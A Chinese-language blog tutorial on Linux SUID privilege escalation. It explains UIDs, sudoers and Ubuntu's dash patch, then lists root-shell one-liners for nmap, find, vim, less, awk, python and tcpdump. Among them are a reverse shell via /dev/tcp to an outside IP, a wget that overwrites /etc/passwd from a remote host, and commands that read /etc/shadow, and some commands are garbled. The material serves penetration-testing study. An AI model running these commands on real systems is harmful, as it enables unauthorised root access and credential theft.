<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    對Linux|suid提權的一些總結

    一顆小胡椒2022-01-04 08:22:12

    一、初識SUID

    1.suid的簡介

    suid即set user id,是一種授予文件的權限類型,它允許用戶使用者以文件所有者的權限來執行文件。需要這種特殊權限的場景在Linux下很常見。

    已知的可以用來提權的Linux可執行文件有:

    CopyNmap、Vim、find、Bash、More、Less、Nano、cp

    比如常用的ping命令。ping需要發送ICMP報文,而這個操作需要發送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root權限的(當然不是說引入CAPABILITIES就不需要權限了,而是可以通過其他方法解決,這個后說),所以你如果在一些老的系統里ls -al $(which ping)可以發現其權限是-rwsr-xr-x,其中有個s位,這就是suid:

    1. root@linux:# ls -al /bin/ping
    2. -rwsr-xr-x 1 root root 44168 May 7 2021 /bin/ping

    設置了s位的程序在運行時,其Effective UID將會設置為這個程序的所有者。比如,/bin/ping這個程序的所有者是root,它設置了s位,那么普通用戶在運行ping時其Effective UID就是0,等同于擁有了root權限。

    這里引入了一個新的概念Effective UID。Linux進程在運行時有三個UID:

    Real UID 執行該進程的用戶實際的UID,誰通過shell運行就是誰

    Effective UID 程序實際操作時生效的UID,一般在進程啟動時,直接由Real UID復制而來;或者是當進程對應的可執行文件的suid標志位為s時,為該文件的所屬用戶/組。所以利用suid文件進行提權需要2個前提:文件的所有者是 0 號或其他super user 文件擁有suid權限

    在os層面目前常見發行版linux也會對suid的權限進行限制,具體可以參考p神這篇文章 ,把suid的提權簡單抽象為一個c代碼:

    int main(int argc, char* argv[]) {

    return system(argv[1]);

    }

    • 編譯并賦予suid權限:


    1. root@linux:/tmp# gcc suid.c -o suid
    2. root@linux:/tmp# chmod +s suid

    2./etc/sudoers 語法

    1. root ALL=(ALL) ALL

    root 用戶可以從 ALL(任何)終端執行,充當ALL(任何)用戶,并運行ALL(任何)命令。第一部分指定用戶,第二部分指定可充當用戶,第三部分指定 sudo 可運行的命令。

    touhid ALL= /sbin/poweroff
    

    輸入 touchid 的密碼,可以 sudo 執行 poweroff 命令。

    touhid ALL = (root) NOPASSWD: /usr/bin/find
    

    不輸入密碼,可以 sudo 執行 find 命令。

    這里引入了一個新的概念Effective UID。Linux進程在運行時有三個UID:

    Real UID 執行該進程的用戶實際的UID
    Effective UID 程序實際操作時生效的UID(比如寫入文件時,系統會檢查這個UID是否有權限)
    Saved UID 在高權限用戶降權后,保留的其原本UID(本文中不對這個UID進行深入探討)

    通常情況下Effective UID和Real UID相等,所以普通用戶不能寫入只有UID=0號才可寫的/etc/passwd;有suid的程序啟動時,Effective UID就等于二進制文件的所有者,此時Real UID就可能和Effective UID不相等了。

    有的同學說某某程序只要有suid權限,就可以提權,這個說法其實是不準確的。只有這個程序的所有者是0號或其他super user,同時擁有suid權限,才可以提權。

    2. 查找具有 SUID 權限位文件

    以下命令可以找到正在系統上運行的所有SUID可執行文件。準確的說,這個命令將從/目錄中查找具有SUID權限位且屬主為root的文件并輸出它們,然后將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進制文件。

    find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;

    也可以使用 sudo -l 命令列出當前用戶可執行的命令

    二、常見的提權方式

    1.Nmap

    nmap是一個經典的端口掃描工具,當目標主機存在版本在2.02-5.21之間的nmap且os的版本在上面受影響的范圍內或更早就可以嘗試使用這種方法進行提權。

    nmap --interactive //進入交互模式

    nmap -v //查看版本
    

    nmap> !sh sh-3.2# whoami root
    

    Metasploit也有利用SUID Nmap進行提權攻擊:

    exploit/unix/local/setuid_nmap

    nmap提權失敗可能出現的原因

    nmap在高版本中限制了suid權限

    lua腳本中限制了suid權限

    新版Linux系統對子進程的suid權限進行了限制

    2.Find

    如果find以SUID權限運行,所有通過find執行的命令都會以root權限運行。

    $ find 1sh -exec bash -i >& /dev/tcp/192.168.100.173/5656 0>&1 \;

    3.Vi/Vim

    vim是linux下常見的文本編輯器,但是如果vim被配置了suid權限,那么運行時就會獲取高權限進而對只有root用戶才有權限讀寫的文件進行操作或獲取高權限shell。在vi/vim中按下esc再輸入一下內容即可獲取到root的shell :

    vim.tinyPress ESC key:set shell=/bin/sh:shell

    4.bash

    bash -pid

    5.Less/More

    Less 和 more 都可以執行提權的shell

    less /etc/passwd

    !/bin/sh

    6.python/perl/ruby/lua/php/etc

    python -c "importos;os.system('/bin/bash')

    7.cp覆蓋 /etc/shadow 或 /etc/passwd

    8.mv

    覆蓋 /etc/shadow 或 /etc/passwd

    9.其它方式

    nano
    nano /etc/passwd
    awk
    awk 'BEGIN {system("/bin/sh")}'
    man
    man passwd
    !/bin/bash
    wget
    wget http://192.168.56.1:8080/passwd -O /etc/passwd
    apache
    僅可查看文件,不能彈 shell:
    apache2 -f /etc/shadow
    tcpdump
    echo $'idcat /etc/shadow' > /tmp/.test
    chmod +x /tmp/.test
    sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
    python/perl/ruby/lua/php/etc
    python
    python -c "import os;os.system('/bin/bash')"
    perl
    exec "/bin/bash";

    三、查找SUID權限文件

    以下命令可以找到正在系統上運行的所有SUID可執行文件,命令將從 / 目錄中查找具有SUID權限位且屬主為root的文件并輸出它們,然后將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進制文件。

    find / -user root -perm ``-4000-``print2``>/dev/nullfind / -perm -u=s -type f ``2``>/dev/nullfind / -user root -perm ``-4000-exec ls -ldb {} \;

    不同版本下linux的不同輸出:

    Linux發行版輸出結果Ubuntu 14.04uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)Ubuntu 16.04uid=33(www-data) gid=33(www-data) groups=33(www-data)Ubuntu 18.04uid=33(www-data) gid=33(www-data) groups=33(www-data)CentOS 6uid=33(www-data) gid=33(www-data) groups=33(www-data)CentOS 8uid=33(www-data) gid=33(www-data) groups=33(www-data)Debian 6uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)Debian 8uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)Kali 2019uid=33(www-data) gid=33(www-data) groups=33(www-data)

    Ubuntu 16.04的不同之處就在dash目錄

    下載其中的dash_0.5.8.orig.tar.gz和dash_0.5.8-2.1ubuntu2.diff.gz并分別解壓,我們可以看到dash 0.5.8的原始代碼,和Ubuntu對其做的patch。

    我們對原始代碼進行patch后,會發現多了一個setprivileged函數:

    void setprivileged(int on)
    {
        static int is_privileged = 1;
        if (is_privileged == on)
            return;
        is_privileged = on;
        /*
         * To limit bogus system(3) or popen(3) calls in setuid binaries, require
         * -p flag to work in this situation.
         */
        if (!on && (uid != geteuid() || gid != getegid())) {
            setuid(uid);
            setgid(gid);
            /* PS1 might need to be changed accordingly. */
            choose_ps1();
        }
    }
    

    on的取值取決于用戶是否傳入了-p參數, 而uid和gid就是當前進程的Real UID(GID)。可見,在on為false,且Real UID 不等于Effective UID的情況下這里重新設置了進程的UID:

    setuid(uid)
    

    setuid函數用于設置當前進程的Effective UID,如果當前進程是root權限或擁有CAP_SETUID權限,則Real UID和Saved UID將被一起設置。

    所以,可以看出,Ubuntu發行版官方對dash進行了修改:當dash以suid權限運行、且沒有指定-p選項時,將會丟棄suid權限,恢復當前用戶權限。

    這樣以來,dash在suid的表現上就和bash相同了,這也就解釋了為什么在Ubuntu 16.04以后,我們無法直接使用SUID+**system**()的方式來提權。

    總結:

    suid提權是滲透測試種經常遇到的情況,遇見的不同系統、不同環境都會有不同的提權方式,掌握多種提權方式是滲透的必備的。

    linux系統root權限
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    快速了解 Linux Sudo 高危提權漏洞的研究利用。
    大多數計算機系統設計為可與多個用戶一起使用。特權是指允許用戶執行的操作。普通特權包括查看和編輯文件或修改系統文件。特權升級意味著用戶獲得他們無權獲得的特權。這些特權可用于刪除文件,查看私人信息或安裝不需要的程序,例如病毒。
    一文吃透 Linux 提權
    2021-10-23 07:09:32
    特權升級意味著用戶獲得他們無權獲得的特權。通常,當系統存在允許繞過安全性的錯誤或對使用方法的設計假設存在缺陷時,通常會發生這種情況。結果是,具有比應用程序開發人員或系統管理員想要的特權更多的應用程序可以執行未經授權的操作。
    網絡安全加固是一種全面的方法,可以保護貴組織免受入侵者的攻擊,并降低風險,同時可以通過縮小攻擊面,減少薄弱環節。
    超級用戶的操作是在系統最高許可范圍內的操作,有些操作就是具有超級權限root也無法完成。比如/proc目錄,/proc是用來反應系統運行的實時狀態信息的,因此即便是root也無法對其進行寫操作。
    關鍵詞惡意軟件一種新發現的名為 Symbiote的Linux惡意軟件會感染受感染系統上所有正在運行的進程,竊
    具有基本用戶權限的本地攻擊者可以利用Linux內核中的三個15年漏洞來獲取易受攻擊的Linux系統上的root用戶特權。閱讀GRIMM研究人員發表的分析。跟蹤為CVE-2021-27363的第二個漏洞是堆溢出漏洞。這三個漏洞還可能導致數據泄漏,并且可以被利用來觸發拒絕服務條件。這些缺陷會影響所有已裝載scsi_transport_iscsi內核模塊的Linux發行版,但是好消息是這不是默認設置。“ Linux內核加載模塊是因為檢測到新硬件,還是因為內核功能檢測到缺少模塊。”
    假如你想要搭建一個Linux服務器,并且希望可以長期維護的話,就需要考慮安全性能與速度等眾多因素。一份正確的linux基本安全配置手冊就顯得格外重要。#為刪除你系統上的用戶,用下面的命令:[root@c1gstudio]# userdel username#批量刪除方式#這里刪除"adm lp sync shutdown halt mail news uucp operator games gopher ftp "賬號#如果你開著ftp等服務可以把ftp賬號保留下來。for i in adm lp sync shutdown halt mail news uucp operator games gopher ftp ;do userdel $i ;done
    Linux 操作系統中每個用戶都具有唯一標識 UID,當使用命令創建用戶時,如果不指定用戶的 UID,則系統將自動為其分配 UID。當使用 -u 指定用戶 id 時,用戶 id 盡量大于500,以免沖突。因為 Linux 操作系統安裝后,會默認建立一些用戶,所以可能會占用 500 之內的 id 號。Linux 權限機制有以下特點:系統有一個權限最大的用戶,其名稱為 rootroot 用戶屬于 root 用戶組。root 切換到普通用戶無需登錄,普通用戶切換到 root 用戶需要登陸。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类